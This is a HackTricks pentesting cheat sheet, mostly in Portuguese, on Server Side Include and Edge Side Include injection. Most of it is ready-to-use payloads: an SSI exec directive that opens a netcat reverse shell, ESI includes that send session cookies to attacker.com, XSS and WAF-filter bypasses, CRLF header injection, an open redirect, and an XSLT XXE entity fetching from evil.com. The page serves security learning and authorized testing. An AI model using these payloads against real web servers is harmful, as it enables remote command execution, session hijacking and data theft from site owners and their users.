hacktricks/pentesting-web/server-side-inclusion-edge-side-inclusion-injection.md
2024-12-12 13:56:11 +01:00

12 KiB

Server Side Inclusion/Edge Side Inclusion Injection

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

Server Side Inclusion Basic Information

(Introdução retirada da documentação do Apache)

SSI (Server Side Includes) são diretivas que são colocadas em páginas HTML e avaliadas no servidor enquanto as páginas estão sendo servidas. Elas permitem que você adicione conteúdo gerado dinamicamente a uma página HTML existente, sem precisar servir a página inteira via um programa CGI ou outra tecnologia dinâmica.
Por exemplo, você pode colocar uma diretiva em uma página HTML existente, como:

<!--#echo var="DATE_LOCAL" -->

E, quando a página é servida, esse fragmento será avaliado e substituído pelo seu valor:

Tuesday, 15-Jan-2013 19:28:54 EST

A decisão de quando usar SSI e quando ter sua página totalmente gerada por algum programa geralmente é uma questão de quão estática é a página e quanto precisa ser recalculado toda vez que a página é servida. SSI é uma ótima maneira de adicionar pequenas peças de informação, como a hora atual - mostrada acima. Mas se a maior parte da sua página está sendo gerada no momento em que é servida, você precisa procurar alguma outra solução.

Você pode inferir a presença de SSI se a aplicação web usar arquivos com a extensão .shtml, .shtm ou .stm, mas não é apenas esse o caso.

Uma expressão SSI típica tem o seguinte formato:

<!--#directive param="value" -->

Verificar

// Document name
<!--#echo var="DOCUMENT_NAME" -->
// Date
<!--#echo var="DATE_LOCAL" -->

// File inclusion
<!--#include virtual="/index.html" -->
// Including files (same directory)
<!--#include file="file_to_include.html" -->
// CGI Program results
<!--#include virtual="/cgi-bin/counter.pl" -->
// Including virtual files (same directory)
<!--#include virtual="file_to_include.html" -->
// Modification date of a file
<!--#flastmod file="index.html" -->

// Command exec
<!--#exec cmd="dir" -->
// Command exec
<!--#exec cmd="ls" -->
// Reverse shell
<!--#exec cmd="mkfifo /tmp/foo;nc <PENTESTER IP> <PORT> 0</tmp/foo|/bin/bash 1>/tmp/foo;rm /tmp/foo" -->

// Print all variables
<!--#printenv -->
// Setting variables
<!--#set var="name" value="Rich" -->

Edge Side Inclusion

Há um problema de cache de informações ou aplicações dinâmicas, pois parte do conteúdo pode ter variado para a próxima vez que o conteúdo for recuperado. É para isso que o ESI é usado, para indicar usando tags ESI o conteúdo dinâmico que precisa ser gerado antes de enviar a versão em cache.
Se um atacante conseguir injetar uma tag ESI dentro do conteúdo em cache, então, ele poderá injetar conteúdo arbitrário no documento antes que ele seja enviado aos usuários.

ESI Detection

O seguinte cabeçalho em uma resposta do servidor significa que o servidor está usando ESI:

Surrogate-Control: content="ESI/1.0"

Se você não conseguir encontrar este cabeçalho, o servidor pode estar usando ESI de qualquer maneira.
Uma abordagem de exploração cega também pode ser usada já que uma solicitação deve chegar ao servidor dos atacantes:

// Basic detection
hell<!--esi-->o
// If previous is reflected as "hello", it's vulnerable

// Blind detection
<esi:include src=http://attacker.com>

// XSS Exploitation Example
<esi:include src=http://attacker.com/XSSPAYLOAD.html>

// Cookie Stealer (bypass httpOnly flag)
<esi:include src=http://attacker.com/?cookie_stealer.php?=$(HTTP_COOKIE)>

// Introduce private local files (Not LFI per se)
<esi:include src="supersecret.txt">

// Valid for Akamai, sends debug information in the response
<esi:debug/>

Exploração de ESI

GoSecure criou uma tabela para entender possíveis ataques que podemos tentar contra diferentes softwares compatíveis com ESI, dependendo da funcionalidade suportada:

  • Includes: Suporta a diretiva <esi:includes>
  • Vars: Suporta a diretiva <esi:vars>. Útil para contornar Filtros XSS
  • Cookie: Cookies do documento são acessíveis ao mecanismo ESI
  • Cabeçalhos Upstream Necessários: Aplicações substitutas não processarão declarações ESI a menos que a aplicação upstream forneça os cabeçalhos
  • Lista de Permissão de Hosts: Neste caso, inclusões ESI só são possíveis a partir de hosts de servidor permitidos, tornando SSRF, por exemplo, apenas possível contra esses hosts
Software Includes Vars Cookies Cabeçalhos Upstream Necessários Lista de Permissão de Hosts
Squid3 Sim Sim Sim Sim Não
Varnish Cache Sim Não Não Sim Sim
Fastly Sim Não Não Não Sim
Akamai ESI Test Server (ETS) Sim Sim Sim Não Não
NodeJS esi Sim Sim Sim Não Não
NodeJS nodesi Sim Não Não Não Opcional

XSS

A seguinte diretiva ESI carregará um arquivo arbitrário dentro da resposta do servidor

<esi:include src=http://attacker.com/xss.html>

Bypass client XSS protection

x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>

Use <!--esi--> to bypass WAFs:
<scr<!--esi-->ipt>aler<!--esi-->t(1)</sc<!--esi-->ript>
<img+src=x+on<!--esi-->error=ale<!--esi-->rt(1)>
  • Roubo remoto de cookie
<esi:include src=http://attacker.com/$(HTTP_COOKIE)>
<esi:include src="http://attacker.com/?cookie=$(HTTP_COOKIE{'JSESSIONID'})" />
  • Roubar cookie HTTP_ONLY com XSS refletindo-o na resposta:

{% code overflow="wrap" %}

# This will reflect the cookies in the response
<!--esi $(HTTP_COOKIE) -->
# Reflect XSS (you can put '"><svg/onload=prompt(1)>' URL encoded and the URL encode eveyrhitng to send it in the HTTP request)
<!--esi/$url_decode('"><svg/onload=prompt(1)>')/-->

# It's possible to put more complex JS code to steal cookies or perform actions

{% endcode %}

Arquivo Local Privado

Não confunda isso com uma "Inclusão de Arquivo Local":

<esi:include src="secret.txt">

CRLF

<esi:include src="http://anything.com%0d%0aX-Forwarded-For:%20127.0.0.1%0d%0aJunkHeader:%20JunkValue/"/>

Open Redirect

O seguinte adicionará um cabeçalho Location à resposta

<!--esi $add_header('Location','http://attacker.com') -->

Adicionar Cabeçalho

  • Adicionar cabeçalho na solicitação forçada
<esi:include src="http://example.com/asdasd">
<esi:request_header name="User-Agent" value="12345"/>
</esi:include>
  • Adicione cabeçalho na resposta (útil para contornar "Content-Type: text/json" em uma resposta com XSS)

{% code overflow="wrap" %}

<!--esi/$add_header('Content-Type','text/html')/-->

<!--esi/$(HTTP_COOKIE)/$add_header('Content-Type','text/html')/$url_decode($url_decode('"><svg/onload=prompt(1)>'))/-->

# Check the number of url_decode to know how many times you can URL encode the value

{% endcode %}

CRLF no cabeçalho Add (CVE-2019-2438)

<esi:include src="http://example.com/asdasd">
<esi:request_header name="User-Agent" value="12345
Host: anotherhost.com"/>
</esi:include>

Akamai debug

Isso enviará informações de depuração incluídas na resposta:

<esi:debug/>

ESI + XSLT = XXE

É possível usar a sintaxe de eXtensible Stylesheet Language Transformations (XSLT) em ESI apenas indicando o valor do parâmetro dca como xslt. O que pode permitir abusar do XSLT para criar e explorar uma vulnerabilidade de Entidade Externa XML (XXE):

<esi:include src="http://host/poc.xml" dca="xslt" stylesheet="http://host/poc.xsl" />

Arquivo XSLT:

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE xxe [<!ENTITY xxe SYSTEM "http://evil.com/file" >]>
<foo>&xxe;</foo>

Verifique a página XSLT:

{% content-ref url="xslt-server-side-injection-extensible-stylesheet-language-transformations.md" %} xslt-server-side-injection-extensible-stylesheet-language-transformations.md {% endcontent-ref %}

Referências

Lista de Detecção de Força Bruta

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssi_esi.txt" %}

{% hint style="success" %} Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Suporte ao HackTricks
{% endhint %}